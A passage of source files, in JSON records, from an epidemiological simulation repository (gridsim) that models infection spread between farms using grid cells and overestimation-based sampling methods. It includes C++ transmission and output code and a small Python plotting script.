recipient_cell) //If it is within-cell spread, use pairwise.\n n_kernel_calls = localPairwise(inf_cell, recipient_cell);\n else //Otherwise use the chosen opt function.\n n_kernel_calls = (this->*o_function_cell)(inf_cell, recipient_cell);\n return n_kernel_calls;\n}\n\n//Returns the true probability of infection between two nodes.\ndouble Local_spread::calc_infection_p(Node* inf_node, Node* sus_node)\n{\n return (this->*p_function)(inf_node, sus_node);\n}\n\n//Returns the over-estimated cell-to-cell probability of infection\ndouble Local_spread::calc_infection_p_over(Cell* inf_cell, Cell* sus_cell)\n{\n return (this->*po_cell_function)(inf_cell, sus_cell);\n}\n\n//Generates a binomial random variate based on n and p and saves it to res. However p is rounded to nearest p in binomial_lookup_ps and that rounded value is returned.\ndouble Local_spread::generate_bin_rv_lookup(size_t n, double p, size_t& res)\n{\n //Round p up to nearest p in the lookup table.\n auto const it = std::lower_bound(binomial_lookup_ps.begin(), binomial_lookup_ps.end(), p);\n size_t idx = it - binomial_lookup_ps.begin();\n res = binomial_lookup[n]->operator[](idx)->operator()(*generator);\n return *it;\n}\n\n///This function takes care of the calculation of distance between nodes and\n///evaluating the kernel at that distance. Then it uses the normalized susceptibility\n///and infectiousness of the two nodes together with the kernel value to return the\n///probability of sus_node to get infected by inf_node.\ndouble Local_spread::calc_infection_p_USDOS2(Node* inf_node, Node* sus_node)\n{\n double d = C.d_function(inf_node->get_position(), sus_node->get_position());\n double k = callKernel(d);\n double inf_j = inf_node->get_infectiousness();\n double sus_i = sus_node->get_susceptibility();\n double exponent = inf_j * sus_i * k * -1;\n return common::oneMinusExp(exponent);\n}\n\n///This function takes calculates an overestimated probability of infection\n///between an infected farm and another cell. It uses the largest susceptibility\n///of the receiving cell and the infectiousness of the infected node together\n///with the kernel value to return the overestimated probability of 'entering' the cell.\ndouble Local_spread::calc_infection_p_over_USDOS2(Node* inf_node, Cell* sus_cell)\n{\n double d = double(inf_node->get_parent()->get_shortestDistanceTo(sus_cell));\n double k = kernel_lookup.at(d);\n double inf_j = inf_node->get_infectiousness();\n double sus_i = sus_cell->get_max_susceptibility();\n double exponent = inf_j * sus_i * k * -1;\n return common::oneMinusExp(exponent);\n}\n\n///This function takes calculates an overestimated probability of infection\n///between two given cells based on the shortest distance between them as well\n///as their maximum respective susceptiblility and infectiousness.\ndouble Local_spread::calc_infection_p_over_USDOS2(Cell* inf_cell, Cell* sus_cell)\n{\n double d = double(inf_cell->get_shortestDistanceTo(sus_cell));\n double k = this->callKernel(d);\n double inf_j = inf_cell->get_max_infectiousness();\n double sus_i = sus_cell->get_max_susceptibility();\n double exponent = inf_j * sus_i * k * -1;\n return common::oneMinusExp(exponent);\n}\n\n///This function takes care of the calculation of distance between nodes and\n///fetches the pre-evaluated kernel value for that distance. Then it uses the\n///normalized susceptibility and infectiousness of the two nodes together with\n///the kernel value to return the probability of sus_node to get infected by inf_node.\ndouble Local_spread::calc_infection_p_USDOS2_lookup(Node* inf_node, Node* sus_node)\n{\n int d = int(C.d_function(inf_node->get_position(), sus_node->get_position()) + 0.5);\n double k = kernel_lookup.at(d);\n double inf_j = inf_node->get_infectiousness();\n double sus_i = sus_node->get_susceptibility();\n double exponent = inf_j * sus_i * k * -1;\n return common::oneMinusExp(exponent);\n}\n\ndouble Local_spread::callKernel(double d)\n{\n return C.k_function(d);\n}\n\n//This is the core of the PW algorithm.\nunsigned long long int Local_spread::localPairwise(Node* inf, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 0;\n for(Node* sus : recipient_cell->get_nodes(0))\n {\n double p = (this->*p_function)(inf, sus);\n n_kernel_calls++;\n if(common::unif_rand() < p)\n sus->become_exposed();\n }\n return n_kernel_calls;\n}\n\n//PW for two entire cells at once.\nunsigned long long int Local_spread::localPairwise(Cell* inf_cell, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 0;\n for(Node* inf : inf_cell->get_nodes(2)) //For every infectious node in cell 1.\n {\n n_kernel_calls += this->localPairwise(inf, recipient_cell);\n }\n return n_kernel_calls;\n}\n\n//Conditional entry method.\nunsigned long long int Local_spread::localKeeling(Node* inf, Cell* recipient_cell)\n{\n //Starts out by testing if we enter the cell\n size_t n_sus = recipient_cell->get_n_sus();\n// double p_over = inf->get_parent()->get_p_over(recipient_cell);\n double p_over = calc_infection_p_over_USDOS2(inf, recipient_cell);\n unsigned long long int n_kernel_calls = 1;\n //p_cell = p of 'entering' the recipient cell if all nodes of recipient were at\n //the closest point between the two cells.\n double p_cell = 1 - std::pow((1 - p_over), n_sus);\n if(common::unif_rand() <= p_cell) //Enter cell.\n {\n bool overestimated_infection_occured = false;\n double P = 1 - std::pow((1 - p_over), n_sus + 1);\n double p_over_inv = 1 / (1 - p_over);\n //Go through each susceptible farm and check if it would become infected\n //if it was at the closest distance. The probability has to be adjusted for\n //the condition that at least one of these 'hypothetical' infections must occur\n //(since thats what 'entering the cell' means). As soon as this criterion is\n //fulfilled there is no need to adjust probabilities anymore so the flag is set\n //to false.\n std::vector<Node*> sus_v = recipient_cell->get_nodes(0);\n for(Node* sus : sus_v)\n {\n if(overestimated_infection_occured or p_over == 1.0)\n P = 1.0;\n else\n P = 1 - ((1 - P) * p_over_inv);\n //Check for infection if overestimated probability.\n double r = common::unif_rand();\n if(r < (p_over / P))\n {\n //If the node would have been at the shortest distance it would\n //have become infected. Now see if the node becomes infected using\n //its actual position. Also, set flag to true since one overestimated\n //infection has occured.\n overestimated_infection_occured = true;\n double p = (this->*p_function)(inf, sus);\n n_kernel_calls++;\n if(r < (p / P))\n sus->become_exposed();\n }\n }\n }\n return n_kernel_calls;\n}\n\n//Simple conditional subsample method based on one infectious node and one recipient cell. Unused in the main paper, roughly equivalent to CE in performance.\nunsigned long long int Local_spread::localBinomial(Node* inf, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 1;\n size_t n_sus = recipient_cell->get_n_sus();\n if(n_sus == 0)\n {\n return 0;\n }\n double p_over = inf->get_parent()->get_p_over(recipient_cell);\n size_t n_over = 0;\n p_over = this->generate_bin_rv_lookup(n_sus, p_over, n_over);\n //Draw the number of nodes that would get infected if they were at the closest distance\n //between the cells.\n// size_t n_over = common::draw_binom(n_sus, p_over);\n if(n_over > 0)\n {\n std::vector<Node*> sus_nodes = recipient_cell->get_nodes(0);\n std::vector<Node*> random_sample;\n common::random_unique(sus_nodes, n_over, random_sample);\n for(Node* node : random_sample)\n {\n double p = (this->*p_function)(inf, node);\n n_kernel_calls++;\n if(common::unif_rand() <= p/p_over)\n {\n node->become_exposed();\n }\n }\n }\n return n_kernel_calls;\n}\n\n//Conditional subsample method used in main paper.\nunsigned long long int Local_spread::localBinomial_CtoC(Cell* inf_cell, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 1;\n size_t n_sus = recipient_cell->get_n_sus();\n if(n_sus == 0)\n {\n return 0;\n }\n //Probability of the most infectious node in c1 infecting the most susc. node in c2 at the shortest poss. distance.\n double p_over = inf_cell->get_p_over(recipient_cell);\n //Probability of one farm becomes infected by any of the infectious nodes in c1 using p_over\n size_t n_inf = inf_cell->get_n_inf();\n double cumulative_p_over = 1.0 - std::pow(1.0-p_over, n_inf);\n //Draw the number of nodes that would get infected using the cumulative p_over.\n size_t n_over = 0;\n cumulative_p_over = this->generate_bin_rv_lookup(n_sus, cumulative_p_over, n_over);\n// size_t n_over = common::draw_binom(n_sus, cumulative_p_over);\n if(n_over > 0)\n {\n std::vector<Node*> sus_nodes = recipient_cell->get_nodes(0);\n std::vector<Node*> random_sample;\n common::random_unique(sus_nodes, n_over, random_sample);\n std::vector<Node*> inf_nodes = inf_cell->get_nodes(2);\n for(Node* sus_node : random_sample)\n {\n double cumulative_p = 1.0;\n for(Node* inf_node : inf_nodes)\n {\n cumulative_p *= 1.0 - (this->*p_function)(inf_node, sus_node);\n n_kernel_calls++;\n }\n cumulative_p = 1.0 - cumulative_p; //Cumulative probability of at least one node in inf_cell infecting this sus_node.\n if(common::unif_rand() <= cumulative_p / cumulative_p_over)\n {\n sus_node->become_exposed();\n }\n }\n }\n return n_kernel_calls;\n}\n"
},
{
"alpha_fraction": 0.45139506459236145,
"alphanum_fraction": 0.4558379352092743,
"avg_line_length": 32.694610595703125,
"blob_id": "4b98a779dc525651203fe81b6951a9837d626467",
"content_id": "9ee80bb3ecd473f50e33d0cd3a4d5c94e751f741",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5627,
"license_type": "permissive",
"max_line_length": 137,
"num_lines": 167,
"path": "/include/Output.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef OUTPUT_H_INCLUDED\n#define OUTPUT_H_INCLUDED\n\n#include <string>\n#include <fstream>\n#include <vector>\n#include <unordered_map>\n#include <set>\n#include \"Grid.h\"\n#include \"Node.h\"\n\n///Class to contain functions that handle the output from the simulations.\n\nnamespace output\n{\n int do_header(std::string res_fn)\n {\n std::ofstream res_f(res_fn, std::ifstream::out);\n if(res_f.is_open())\n {\n res_f << \"replicate\\tseeded_node\\tcum_n_inf\\tmax_simul_n_inf\\ttimestep_at_exit\\t\"\n \"n_kernel_calls\\trep_time_ms\\tinit_time_ms\\tcell_size_mean(n_nodes)\\t\"\n \"cell_size_stdev_from_mean(n_nodes)\\tcell_size_stdev_from_maxsize(nnodes)\\t\"\n \"n_cells\\n\";\n res_f.close();\n return 0;\n }\n else\n {\n std::cout << \"Result file failed to open. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n return 1;\n }\n\n int do_group_header(std::string res_fn, std::vector<unsigned int> groups)\n {\n std::ofstream res_f(res_fn, std::fstream::out);\n if(res_f.is_open())\n {\n res_f << \"Rep\\tSeededGroups\\t\";\n for(int i=0; i<groups.size()-1; i++)\n {\n res_f << groups.at(i) << \"\\t\";\n }\n res_f << groups.at(groups.size()-1) << std::endl;\n res_f.close();\n return 0;\n }\n else\n {\n std::cout << \"Result file failed to open. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n return 1;\n }\n\n int do_output(std::string res_fn, Grid& G, Config& C, size_t time_step, unsigned int rep_i,\n unsigned int rep_duration, unsigned int init_duration)\n {\n std::vector<size_t> current_status = G.get_current_status();\n std::vector<unsigned long long int> summary_vec = {current_status[1] + current_status[2] + current_status[3] + current_status[4],\n G.get_max_n_inf(), time_step, G.get_replicate_kc()};\n\n std::ofstream res_f(res_fn, std::ifstream::app);\n if(res_f.is_open())\n {\n res_f << rep_i << \"\\t\";\n res_f << \"(\";\n std::vector<Node*> seeded_nodes = G.get_seeded_nodes();\n for(size_t i=0; i<seeded_nodes.size()-1; i++)\n {\n res_f << seeded_nodes[i]->get_id() << \", \";\n }\n res_f << seeded_nodes.back()->get_id() << \")\\t\";\n\n for(size_t i=0; i<summary_vec.size(); i++)\n {\n res_f << summary_vec[i] << \"\\t\";\n }\n res_f << rep_duration << \"\\t\";\n res_f << init_duration << \"\\t\";\n double cell_size_mean = G.get_cell_size_mean();\n res_f << cell_size_mean << \"\\t\";\n res_f << G.get_cell_size_stdev_from(cell_size_mean) << \"\\t\";\n res_f << G.get_cell_size_stdev_from(C.cell_max_farms) << \"\\t\";\n res_f << G.get_n_cells() << \"\\n\";\n res_f.close();\n return 0;\n }\n else\n {\n std::cout << \"Result file not opened. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n return 1;\n }\n\n int do_group_output(std::string res_fn, unsigned int rep,\n std::unordered_map<unsigned int, std::vector<Node*>> group_infections,\n std::vector<unsigned int> groups, std::vector<Node*> seeded_nodes)\n {\n std::ofstream res_f(res_fn, std::fstream::app);\n if(res_f.is_open())\n {\n res_f << rep << \"\\t(\";\n std::set<unsigned int> seeded_groups_set;\n for(Node* n : seeded_nodes)\n {\n seeded_groups_set.insert(n->get_group());\n }\n std::vector<unsigned int> seeded_groups;\n seeded_groups.assign(seeded_groups_set.begin(), seeded_groups_set.end());\n for(int i=0; i<seeded_groups.size()-1; i++)\n {\n res_f << seeded_groups.at(i) << \"\\t\";\n }\n res_f << seeded_groups.back() << \")\\t\";\n for(int i=0; i<groups.size()-1; i++)\n {\n unsigned int group = groups.at(i);\n if(group_infections.find(group) == group_infections.end())\n {\n res_f << 0 << \"\\t\";\n }\n else\n {\n res_f << group_infections.at(group).size() << \"\\t\";\n }\n\n }\n unsigned int group = groups.at(groups.size()-1);\n if(group_infections.find(group) == group_infections.end())\n {\n res_f << 0 << std::endl;\n }\n else\n {\n res_f << group_infections.at(group).size() << std::endl;\n }\n\n res_f.close();\n return 0;\n }\n else\n {\n std::cout << \"Result file failed to open. Exiting...\"\n << std::endl; exit(EXIT_FAILURE);\n }\n return 1;\n }\n\n int do_inf_coordinates_output(std::string inf_fn, Grid& G)\n {\n std::ofstream out_inf_coords(inf_fn);\n std::vector<Node*> nodes = G.get_all_nodes();\n for(Node* n : nodes)\n {\n out_inf_coords << n->get_position().get_x() << \"\\t\"\n << n->get_position().get_y() << \"\\t\"\n << n->get_time_of_infection() << std::endl;\n }\n }\n}\n\n\n#endif // OUTPUT_H_INCLUDED\n"
},
{
"alpha_fraction": 0.543524444103241,
"alphanum_fraction": 0.5541401505470276,
"avg_line_length": 21.350000381469727,
"blob_id": "e29cc8f49173cbd4ad43d0a0db124e615bb2cec4",
"content_id": "1a3bc5701907e05ac5b07c15a40e457301c455af",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 473,
"license_type": "permissive",
"max_line_length": 53,
"num_lines": 20,
"path": "/plot_cell_hist.py",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "import numpy as np\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib\r\n\r\ndef main():\r\n fig, ax = plt.subplots(1,1)\r\n \r\n sizes = list()\r\n f = open('_cellsize.dat', 'r')\r\n max_nodes = f.readline()\r\n for line in f.readlines():\r\n sizes.append(int(line.strip()))\r\n f.close()\r\n \r\n ax.hist(sizes)\r\n ax.axvline(float(max_nodes))\r\n plt.savefig('cell-size-histogram.png', dpi = 300)\r\n \r\nif __name__ == '__main__':\r\n main()\r\n "
},
{
"alpha_fraction": 0.6827669739723206,
"alphanum_fraction": 0.6870795488357544,
"avg_line_length": 56.970001220703125,
"blob_id": "c57ec2aa30b968dd9a26751e077cd67023df9dc0",
"content_id": "bfcb2b3c3ce7ca08704cc66f466c9cd803c915a2",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5797,
"license_type": "permissive",
"max_line_length": 193,
"num_lines": 100,
"path": "/include/Grid.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef GRID_H\n#define GRID_H\n\n#include \"Local_spread.h\"\n\n#include <vector>\n#include <string>\n#include <unordered_map>\n#include <list>\n\nclass Config;\nclass Node;\nclass Cell;\nclass Shipment_handler;\n\n/**\nThe grid class represents the whole area where the nodes and grid cells\nare held.\n*/\nclass Grid\n{\n public:\n /**\n Construct using the side length of the entire grid and desired\n number of cells along that side as arguments.\n */\n Grid(const Config& C);\n ~Grid();\n\n void reset(); ///Resets all nodes to susceptible status.\n std::vector<Node*> seed(); ///Makes the next n number of nodes in seed_vector infectious\n std::vector<Node*> get_seeded_nodes(); ///Returns the nodes from the last seeding event.\n unsigned long long int incrementTime(); ///Moves time forward one timestep. Returns number of kernel calls required during that timestep. Uses openmp.\n void add_to_group_inf(Node* n, unsigned int group); ///Call to add a node to the map of infected nodes by group.\n std::vector<size_t> get_current_status();\n std::unordered_map<unsigned int, std::vector<Node*>> get_inf_nodes_by_group();\n size_t get_time(); ///Returns the current timestep.\n double get_cell_size_mean();\n double get_cell_size_variance_from(double val);\n double get_cell_size_stdev_from(double val);\n unsigned long long int get_replicate_kc();\n unsigned int get_n_cells(); ///Returns the current number of cells.\n unsigned int get_n_groups(); ///Returns the number of groups found in the node data.\n std::vector<unsigned int> get_groups(); ///Returns a vector of all unique groups in the node data.\n size_t get_max_n_inf();\n std::vector<Node*> get_all_nodes(); //Returns the vector of all nodes.\n size_t get_cell_cell_distance(size_t c1_d_idx, size_t c2_d_idx); ///Looks up the distance between the cells with the distance indices of the argumetns and returns it.\n double get_cell_cell_pover(size_t c1_d_idx, size_t c2_d_idx); ///Looks up and returns precalculated overestimated probability of infection between the two cells.\n void plotGridAndNodes(bool draw_empty_cells);\n void plotCellSizeHist(unsigned int max_nodes);\n void plotGridCellsAndDistances();\n void output();\n\n private:\n double side; ///Side length of entire grid.\n double longest_distance; ///Distance between two opposite corners or the grid.\n unsigned int n_cells_1d; ///Number of cells in one dimension.\n unsigned int max_n_inf = 0;\n const Config& C;\n Local_spread LS;\n Shipment_handler* SH;\n bool simple_distances = false;\n size_t current_timestep;\n double norm_inf1 = 1.0; ///Normalization factor for infectiousness, species 1.\n double norm_sus1 = 1.0; ///Normalization factor for susceptibility, species 1.\n double norm_inf2 = 1.0; ///Normalization factor for infectiousness, species 2.\n double norm_sus2 = 1.0; ///Normalization factor for susceptibility, species 2.\n std::vector<double> x_bounds, y_bounds; ///X and Y boundaries.\n std::vector<Node*> all_nodes; ///All nodes within the grid.\n std::vector<Node*> all_tra_nodes; ///The nodes that are currently transmitting infection. Updated every timestep in incrementTime().\n std::vector<Cell*> cells; ///All cells within the grid.\n std::vector<unsigned int> groups; ///All different unique groups found in the node input file.\n std::unordered_map<unsigned int, std::vector<Node*>> group_node_map; ///Gives access to all nodes belonging to each group by group id.\n std::unordered_map<unsigned int, std::vector<Node*>> group_inf_node_map; ///Gives access to all nodes that have become infected during the replicate belonging to each group by group id.\n std::vector<std::vector<unsigned int>> cellCellDistanceMatrix; ///Matrix containing all distances between cells rounded up to nearest int.\n std::vector<std::vector<double>> cellCellPoverMatrix; ///Matrix containing all precalculated overestimated probabilities of infection between cells.\n std::vector<Node*> seed_vector; ///Filled with nodes to be seeded.\n std::vector<Node*> seeded_nodes; ///Stores the nodes that were seeded in the beginning of the current replicate.\n std::unordered_map<unsigned int, Node*> node_map; ///Gives access to nodes by id.\n unsigned long long int replicate_kc = 0;\n\n void readNodes(std::string node_file); ///Reads and creates nodes from an input file.\n void initTransmissionParametersUSDOS2(); ///Calculates norm_inf and norm_sus and sets all farms' susceptibility and infectiousness.\n void initTransmissionParametersGaussian();\n void initTransmissionParametersHayama();\n void findBoundaries(std::vector<double>& all_x, std::vector<double>& all_y);\n void makeCellsFixed(); ///Creates a set of identical cells based on members n_cells_1d and side.\n void makeCellsDynamicSquare(unsigned int max_nodes); ///Creates a set of square cells with dynamic size.\n void makeShortestDistances(); ///Calculates the shortest distances between all cells.\n void makeKernelValues(); ///Precalculates the kernel values for all shortest distances between cells.\n void makeBinomials(); ///Sets up all the binomial random variables to use for every other cell.\n void makeBinomialLookup();\n void initCells(); ///Calls init() on each cell.\n void initSeed(); ///Reads seed file if applicable and fills seed vector with seed nodes.\n\n unsigned long long int makeTransmissionNode();\n unsigned long long int makeTransmissionCell();\n};\n\n#endif // GRID_H\n"
},
{
"alpha_fraction": 0.546920120716095,
"alphanum_fraction": 0.5519580841064453,
"avg_line_length": 27.035781860351562,
"blob_id": "54dee999db6d57cf73090d46fc573b6175e7145b",
"content_id": "c7d983d097139b2a9bbf05fa940b6232e3bba3eb",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 14887,
"license_type": "permissive",
"max_line_length": 145,
"num_lines": 531,
"path": "/src/Cell.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Cell.h\"\n#include \"common_functions.h\"\n#include \"Config.h\"\n#include \"Grid.h\"\n#include <algorithm>\n#include <math.h>\n\nunsigned int Cell::cells_created = 0; //Keeps track of total number of cells.\n\nCell::Cell(double lower_left_x, double lower_left_y, double width, double height,\n Grid* parent, const Config& C, bool divide_along_x) :\n width(width),\n height(height),\n //Corners\n ll(lower_left_x, lower_left_y),\n lr(lower_left_x + width, lower_left_y),\n ul(lower_left_x, lower_left_y + height),\n ur(lower_left_x + width, lower_left_y + height),\n //Grid object that the cell belongs to\n parent(parent),\n //Access to config options\n C(C),\n divide_along_x(divide_along_x)\n{\n corners = {ll, lr, ul, ur};\n x_bounds.resize(2);\n y_bounds.resize(2);\n x_bounds[0] = lower_left_x;\n x_bounds[1] = lower_left_x + width;\n y_bounds[0] = lower_left_y;\n y_bounds[1] = lower_left_y + height;\n\n if(width == height)\n {\n quadratic = true;\n }\n id = cells_created;\n cells_created++;\n}\n\nCell::Cell(double lower_left_x, double lower_left_y, double side,\n Grid* parent, const Config& C) :\n Cell(lower_left_x, lower_left_y, side, side, parent, C, false)\n{\n\n}\n\nCell::~Cell()\n{\n}\n\nunsigned int Cell::get_n_cells()\n{\n return cells_created;\n}\n\nunsigned int Cell::get_id()\n{\n return id;\n}\n\ndouble Cell::get_max_susceptibility()\n{\n return max_susceptibility;\n}\n\ndouble Cell::get_max_infectiousness()\n{\n return max_infectiousness;\n}\n\nstd::vector<Node*> Cell::get_nodes()\n{\n return nodes;\n}\n\n//Get nodes of specific status.\nstd::vector<Node*> Cell::get_nodes(unsigned int status)\n{\n std::vector<Node*>* vp;\n if(status == 0)\n vp = &sus_nodes;\n else if(status == 1)\n vp = &exp_nodes;\n else if(status == 2)\n vp = &inf_nodes;\n else\n {\n std::cout << \"Unknown status in arg to Cell::get_nodes(arg). arg is \" << status\n << \"Exiting\" << std::endl;\n exit(EXIT_FAILURE);\n }\n return *vp;\n}\n\nstd::vector<Node*> Cell::get_transmitting_nodes()\n{\n return tra_nodes;\n}\n\nunsigned int Cell::get_n_nodes()\n{\n return n_nodes;\n}\n\nsize_t Cell::get_distance_index()\n{\n return distance_index;\n}\n\ndouble Cell::get_shortestDistanceTo(Cell* c)\n{\n return this->parent->get_cell_cell_distance(this->distance_index, c->get_distance_index());\n}\n\ndouble Cell::get_p_over(Cell* c)\n{\n return this->parent->get_cell_cell_pover(this->distance_index, c->get_distance_index());\n}\n\nvoid Cell::init_node_statuses()\n{\n sus_nodes.clear();\n exp_nodes.clear();\n inf_nodes.clear();\n det_nodes.clear();\n rem_nodes.clear();\n tra_nodes.clear();\n sus_nodes.reserve(n_nodes);\n exp_nodes.reserve(n_nodes);\n inf_nodes.reserve(n_nodes);\n det_nodes.reserve(n_nodes);\n rem_nodes.reserve(n_nodes);\n tra_nodes.reserve(n_nodes);\n\n //Go through each node and update its status and add it to the correct status vector.\n for(Node* n : nodes)\n {\n switch(n->get_status())\n {\n case(0):\n sus_nodes.push_back(n);\n break;\n case(1):\n exp_nodes.push_back(n);\n break;\n case(2):\n inf_nodes.push_back(n);\n break;\n case(3):\n det_nodes.push_back(n);\n break;\n case(4):\n rem_nodes.push_back(n);\n }\n }\n\n n_sus = sus_nodes.size();\n n_inf = inf_nodes.size() + det_nodes.size(); //Detected nodes are still infectious.\n //Fill a vector with the nodes that are transmitting infection (inf + det).\n tra_nodes.insert(tra_nodes.end(), inf_nodes.begin(), inf_nodes.end());\n tra_nodes.insert(tra_nodes.end(), det_nodes.begin(), det_nodes.end());\n}\n\nvoid Cell::init_transmission_parameters()\n{\n //Saves the highest sus/trans of the nodes in this cell so that\n //they can be easily accessed when doing 'enter cell'-probabilities.\n for(Node* node : nodes)\n {\n if(node->get_susceptibility() > this->max_susceptibility)\n {\n this->max_susceptibility = node->get_susceptibility();\n }\n if(node->get_infectiousness() > this->max_infectiousness)\n {\n this->max_infectiousness = node->get_infectiousness();\n }\n }\n}\n\n//Resets the status of every node in the cell.\nvoid Cell::reset()\n{\n for(Node* n : nodes)\n {\n n->reset();\n }\n this->init_node_statuses(); //Reset all status vectors.\n}\n\n//After transmission has been evaluated, update each nodes' status and add them to the correct vector.\nvoid Cell::commitTimeStep()\n{\n sus_nodes.clear();\n exp_nodes.clear();\n inf_nodes.clear();\n det_nodes.clear();\n rem_nodes.clear();\n tra_nodes.clear();\n\n //Go through each node and update its status and add it to the correct status vector.\n for(Node* n : nodes)\n {\n n->update();\n switch(n->get_status())\n {\n case(0):\n sus_nodes.push_back(n);\n break;\n case(1):\n exp_nodes.push_back(n);\n break;\n case(2):\n inf_nodes.push_back(n);\n break;\n case(3):\n det_nodes.push_back(n);\n break;\n case(4):\n rem_nodes.push_back(n);\n }\n }\n\n n_sus = sus_nodes.size();\n n_inf = inf_nodes.size() + det_nodes.size(); //Detected nodes are still infectious.\n //Fill a vector with the nodes that are transmitting infection (inf + det).\n tra_nodes.insert(tra_nodes.end(), inf_nodes.begin(), inf_nodes.end());\n tra_nodes.insert(tra_nodes.end(), det_nodes.begin(), det_nodes.end());\n}\n\nvoid Cell::current_status(std::vector<size_t>& status_vec)\n{\n status_vec[0] += sus_nodes.size();\n status_vec[1] += exp_nodes.size();\n status_vec[2] += inf_nodes.size();\n status_vec[3] += det_nodes.size();\n status_vec[4] += rem_nodes.size();\n}\n\nsize_t Cell::get_n_sus()\n{\n return n_sus;\n}\n\nsize_t Cell::get_n_inf()\n{\n return n_inf;\n}\n\nsize_t Cell::get_time()\n{\n return parent->get_time();\n}\n\n//Is a specific point on the xy plane inside this cell?\nbool Cell::isWithin(Point p)\n{\n if(p.get_x() >= x_bounds[0] and p.get_x() < x_bounds[1] and\n p.get_y() >= y_bounds[0] and p.get_y() < y_bounds[1])\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\n//Is a specific node within this cell.\nbool Cell::isWithin(Node* n)\n{\n return isWithin(n->get_position());\n}\n\nbool Cell::isWithinHRange(Point p)\n{\n if(p.get_x() >= this->ll.get_x() && p.get_x() <= this->lr.get_x())\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nbool Cell::isWithinVRange(Point p)\n{\n if(p.get_y() >= this->ll.get_y() && p.get_y() <= this->ul.get_y())\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nstd::vector<Point> Cell::get_corners()\n{\n return corners;\n}\n\nvoid Cell::set_distance_index(size_t id)\n{\n distance_index = id;\n}\n\n//Calculates the shortest distance to another cell when the grid is regular (static).\ndouble Cell::calc_shortestDistanceSimple(Cell* other_cell)\n{\n double shortest_distance = 999999999999999999999.0;\n std::vector<Point> other_corners = other_cell->get_corners();\n for(Point own_p : corners)\n {\n for(Point other_p : other_corners)\n {\n double current_distance = C.d_function(own_p, other_p);\n if(current_distance < shortest_distance)\n {\n shortest_distance = current_distance;\n }\n }\n }\n return shortest_distance;\n}\n\n//Calculates the shortest distance to another cell inside a grid with heterogeneously sized cells as created by the adaptive gridding method.\ndouble Cell::calc_shortestDistanceComplex(Cell* other_cell)\n{\n bool shortest_distance_found = false;\n std::vector<double> new_distances;\n new_distances.reserve(8);\n\n std::vector<Point> other_corners = other_cell->get_corners();\n\n for(Point other_p : other_corners)\n {\n for(Point own_p : corners)\n {\n //if c1 & c2 share a point they are adjacent and d = 0\n if(own_p == other_p)\n {\n new_distances.push_back(0.0);\n shortest_distance_found = true;\n break;\n }\n }\n }\n\n //If an edge of c2 overlaps with an edge in c1, the two points\n //between which the shortest distance is found is on a straight horizontal or\n //vertical line (in which case we don't need to use the distance function).\n //Check for horizontal alignment first.\n if(!shortest_distance_found)\n {\n for(Point other_p : other_corners)\n {\n if(this->isWithinHRange(other_p))\n {\n new_distances.push_back(std::abs(this->ll.get_y() - other_p.get_y()));\n new_distances.push_back(std::abs(this->ul.get_y() - other_p.get_y()));\n shortest_distance_found = true;\n }\n }\n for(Point own_p : this->corners)\n {\n if(other_cell->isWithinHRange(own_p))\n {\n new_distances.push_back(std::abs(other_corners[0].get_y() - own_p.get_y()));\n new_distances.push_back(std::abs(other_corners[2].get_y() - own_p.get_y()));\n shortest_distance_found = true;\n }\n }\n\n //Check for vertical alignment\n for(Point other_p : other_corners)\n {\n if(this->isWithinVRange(other_p))\n {\n new_distances.push_back(std::abs(this->ll.get_x() - other_p.get_x()));\n new_distances.push_back(std::abs(this->lr.get_x() - other_p.get_x()));\n shortest_distance_found = true;\n }\n }\n for(Point own_p : this->corners)\n {\n if(other_cell->isWithinVRange(own_p))\n {\n new_distances.push_back(std::abs(other_corners[0].get_x() - own_p.get_x()));\n new_distances.push_back(std::abs(other_corners[1].get_x() - own_p.get_x()));\n shortest_distance_found = true;\n }\n }\n }\n //No vertical or horizontal overlap, must use euclidean distance\n if(!shortest_distance_found)\n {\n for(Point own_p : this->corners)\n {\n for(Point other_p : other_corners)\n {\n new_distances.push_back(C.d_function(own_p, other_p));\n }\n }\n }\n\n //Get minimum from the vector and return it.\n return *std::min_element(new_distances.begin(), new_distances.end());\n}\n\nvoid Cell::addNode(Node* node)\n{\n nodes.push_back(node);\n node->set_parent(this);\n n_nodes++;\n}\n\nvoid Cell::addNodes(std::vector<Node*> in_nodes)\n{\n for(Node* n : in_nodes)\n {\n addNode(n);\n }\n}\n\nstd::vector<Cell*> Cell::subdivideQuad(unsigned int max_nodes, bool force_division)\n{\n //Tell a cell to subdivide into 4 smaller cells if number of nodes\n //is above a certain value. Only allowed for quadratic cells.\n //If force_division is set to true any conditions that control if division\n //will happen or not will be ignored and the cell will always be divided.\n if(!quadratic)\n {\n std::cout << \"Attempt do subdivide a cell that is not quadratic into 4 children. \"\n << \"Height, width: \" << height << \", \" << width << std::endl;\n exit(EXIT_FAILURE);\n }\n\n std::vector<Cell*> completed_cells;\n //If cell needs to subdivide, create 4 new cells with half the side\n if(nodes.size() > max_nodes or force_division)\n {\n std::vector<Cell*> children;\n double half_side = width * 0.5;\n children.push_back(new Cell(ll.get_x(), ll.get_y(), half_side, parent, C));\n children.push_back(new Cell(ll.get_x()+half_side, ll.get_y(), half_side, parent, C));\n children.push_back(new Cell(ll.get_x(), 